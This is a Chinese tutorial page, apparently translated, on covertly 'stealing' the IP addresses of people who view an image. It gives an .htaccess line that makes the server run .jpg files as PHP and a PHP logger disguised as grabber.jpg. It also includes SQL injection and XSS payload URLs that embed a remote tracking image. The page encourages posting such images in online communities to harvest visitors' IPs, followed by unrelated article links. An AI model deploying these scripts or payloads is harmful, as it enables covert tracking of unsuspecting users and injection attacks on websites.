基于PHP实现通过照片获取ip地址

 更新时间:2016年04月26日 09:42:53   投稿:mrr  
在本教程中,我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件,将jpg文件当作php文件来解析。感兴趣的朋友一起学习吧

在本教程中,我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件,将jpg文件当作php文件来解析。

下面就是我们需要向.htaccess中添加的代码:

AddHandler application/x-httpd-php5 .jpg

然后将下面的代码复制到记事本中,命名为grabber.jpg

<?php
$fh = fopen(‘ip_list.txt', ‘a');
fwrite($fh, $_SERVER[‘REMOTE_ADDR'].”
“);
fclose($fh);
$im = imagecreatefromjpeg(“n00b.png”);
header(‘Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>

将grabber.jpg的权限设置为755,然后再找一张照片,将其命名为n00b.png,接着放到与grabber.jpg相同的目录之中。

就这样,一切工作就绪了。当别人浏览grabber.jpg这张照片的时候,他的ip地址就会被记录下来。

(译者注:需要把这些东西上传至我们的个人网站空间中)

POC:

(译者注:作者这里贴了一张可获取ip的演示照片,为了大家的隐私,我没有将其贴出,读者可自行去作者博客查看)

至此,我们的照片已经可以开始工作了。

接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷,我们没有理由去使用SQLi这种方法,但是为了让读者获取到更多的知识,我还是说明一下吧:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1′ union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#

现在,再说一下如何使用xss来获取ip地址:

http://leettime.net/xsslab1/chalg1.php?name=<img src=”http://leettime.net/idiots_test_lab/imageip/tryme.jpg”>&submit=Search

好了,就是这些了。

我们可以用这个技巧做许多有趣的事情,事实上大部分社区都允许我们发布一些照片,所以我们可以用这个方法去获取所有访问到我们照片的人的ip地址。

以上所述是小编给大家介绍的基于PHP实现通过照片获取ip地址的相关内容,希望对大家有所帮助!

相关文章

  • php实现给一张图片加上水印效果

    php实现给一张图片加上水印效果

    本文给大家汇总了2个php实现给图片加水印的功能,第一个比较简单易懂,第二个功能强大些,而且给大家封装了起来,有需要的小伙伴可以参考下
    2016-01-01
  • thinkphp诸多限制条件下如何getshell详解

    thinkphp诸多限制条件下如何getshell详解

    这篇文章主要给大家介绍了关于thinkphp诸多限制条件下如何getshell的相关资料,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-12-12
  • thinkPHP下ueditor的使用方法详解

    thinkPHP下ueditor的使用方法详解

    这篇文章主要介绍了thinkPHP下ueditor的使用方法,结合实例形式较为详细的讲述了thinkPHP下使用ueditor的具体步骤与相关技巧,需要的朋友可以参考下
    2015-12-12
  • php实现生成验证码实例分享

    php实现生成验证码实例分享

    由于注册的时候常常会用到注册码来防止机器恶意注册,这里我发表一个产生图片验证码的基本图像,很简陋,有需要的小伙伴可以参考下
    2016-04-04
  • Thinkphp5框架实现获取数据库数据到视图的方法

    Thinkphp5框架实现获取数据库数据到视图的方法

    这篇文章主要介绍了Thinkphp5框架实现获取数据库数据到视图的方法,涉及thinkPHP5数据库配置、读取、模型操作及视图调用相关操作技巧,需要的朋友可以参考下
    2019-08-08
  • Laravel访问出错提示:`Warning: require(/vendor/autoload.php): failed to open stream: No such file or di解决方法

    Laravel访问出错提示:`Warning: require(/vendor/autoload.php): faile

    这篇文章主要介绍了Laravel访问出错提示:`Warning: require(/vendor/autoload.php): failed to open stream: No such file or di解决方法,涉及Laravel框架相关配置与安装操作技巧,需要的朋友可以参考下
    2019-04-04
  • laravel框架与其他框架的详细对比

    laravel框架与其他框架的详细对比

    今天小编就为大家分享一篇laravel框架与其他框架的详细对比,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2019-10-10
  • php中simplexml_load_string使用实例分享

    php中simplexml_load_string使用实例分享

    这篇文章主要介绍了php中simplexml_load_string使用实例,需要的朋友可以参考下
    2014-02-02
  • PHP单例模式是什么 php实现单例模式的方法

    PHP单例模式是什么 php实现单例模式的方法

    PHP单例模式是什么?这篇文章主要介绍了php实现单例模式的方法,告诉大家为什么使用单例模式,感兴趣的朋友可以参考一下
    2016-05-05
  • Laravel 5.5官方推荐的Nginx配置学习教程

    Laravel 5.5官方推荐的Nginx配置学习教程

    这篇文章主要给大家介绍了关于Laravel 5.5官方推荐的Nginx配置学习的相关资料,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧。
    2017-10-10

最新评论